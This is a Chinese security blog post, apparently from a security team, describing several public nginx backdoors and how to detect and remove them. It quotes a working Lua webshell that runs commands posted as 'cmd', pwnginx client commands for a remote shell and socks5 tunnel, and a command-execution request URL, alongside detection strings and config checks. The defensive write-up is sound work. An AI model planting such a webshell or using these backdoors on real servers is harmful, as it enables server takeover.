记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

再谈几种Nginx后门——发现与修复

2020-07-20 12:40

Nginx (engine x) 是一个高性能的HTTP反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。河马安全团队在上一篇文章中预警了一个最近流行的nginx后门。本文收集介绍另外几个公开的nginx后门程序。

简介

目前的nginx后门根据加载方式来分有两类: 动态库模块(so module)和二进制nginx程序。顾名思义,动态库模块就是后门作为nginx模块(so module)加载,本身不改变nginx程序;第二类则是先通过编译加入后门代码的nginx,然后替换掉目标nginx程序来加载。两种方式各有优劣,具体还要看攻击场景,从防护角度来看,对于模块、进程、nginx相关的可执行文件都应该进行检查。在应急响应中也是一个不能忽视的点。另外值得一提的是openresty和Tengine作为nginx的Bundle或分支,在使用这两款软件时也要注意。

pwnginx及其变种

pwnginx是一个在7年前发布在github上开源项目(github地址见文章末尾参考链接)。根据分析基于该开源项目的nginx后门在网络上可能存在诸多变种。黑客可以通过client来控制被植入pwnginx的服务器。笔者将编译后的pwnginx后门上传到virustotal上进行检测,发现可以过全部杀软。

后门功能

  • 远程shell访问

    通过客户端控制 ./pwnginx shell [ip] [port] [password]

  • 通过已有的http连接建立socks5隧道

    通过客户端控制 ./pwnginx socks5 [ip] [port] [password] [socks5ip] [socks5port]

  • http 密码嗅探与记录(内容保存在/tmp/.web_sniff文件中)

后门检测

该后门有一些特定的字符串特征,可以查找nginx文件中是否包含如下字符串:

/tmp/.web_sniff

pwnginx=

可以通过strings程序进行查找。

nginx lua

nginx的lua-nginx-module可以加载lua脚本,可以利用lua脚本来增强nginx的功能,该模块在openresty和Tengine中为默认安装。攻击者将带有恶意的lua脚本加载到nginx,从而可以执行任意系统命令、接管系统。这种情况也可以理解为攻击者放入了lua语言的webshell

后门检测

在nginx的配置文件中,查找所有content_by_lua_fileinit_by_lua_filerequire等关键字,确定lua文件位置。在分析每一个lua文件,查看是否存在io.popen关键字。从而确定是否为后门。

lua文件内容大致如下:

ngx.req.read_body()

local post_args = ngx.req.get_post_args()
local cmd = post_args["cmd"]
if cmd then
    f_ret = io.popen(cmd)
    local ret = f_ret:read("*a")
    ngx.say(string.format("%s", ret))
end

nginx execute

该后门利用nginx的ngx_http_execute,从而达到执行任意系统命令的目的。攻击者可以通过特定的请求即可执行任意系统命令。

请求如下:

http://website/?system.run[ifconfig]

后门检测

查看nginx的配置文件中是否加载ngx_http_execute_module.so 模块。同时确认nginx的配置文件中是否存在command on

nginx header-filter后门

该款后门在前一天的公众号中发布过专门的文章,详情请看https://mp.weixin.qq.com/s/Vyfto0qn4L16s9dNfVOEqQ

改后门是修改了nginx的ngx_http_header_filter, 检测header中的特殊cookie,匹配到之后反连到攻击者机器上。

安全建议

nginx后门比较隐蔽性,安全运维人员不易察觉。定期检测Web服务器有助于降低风险。对系统的关键文件进行完整性检测。此外一些不寻常的的特征也需要警觉,比如说nginx程序没有符号表或者被加壳(此时匹配不到本文介绍的一些特征),在发现上述后门时,除了及时清理掉后门还应当对整个系统的进行完整性的检测。

同理IIS的isapi加载后门、apache的动态库加载后门也值得重视。如果您对服务器后门、webshell的检测感兴趣,请关注我们。如果您遇到类似的问题或者发现新的nginx后门也可以通过公众号和我们取得联系;我们一起做个键盘侠,携手维护网络安全。

相关链接

  1. https://mp.weixin.qq.com/s/Vyfto0qn4L16s9dNfVOEqQ

  2. https://cssxn.github.io/posts/nginx-backdoor-analysis/

  3. https://github.com/netxfly/nginx_lua_security

  4. https://github.com/t57root/pwnginx

  5. https://github.com/limithit/NginxExecute

  6. https://nginx.org

  7. http://openresty.org/cn/


知识来源: https://mp.weixin.qq.com/s/kzNRmpCgOOODI6J5A8L2Jg

阅读:36819 | 评论:0 | 标签:后门 nginx

想收藏或者和大家分享这篇好文章→复制链接地址

“再谈几种Nginx后门——发现与修复”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云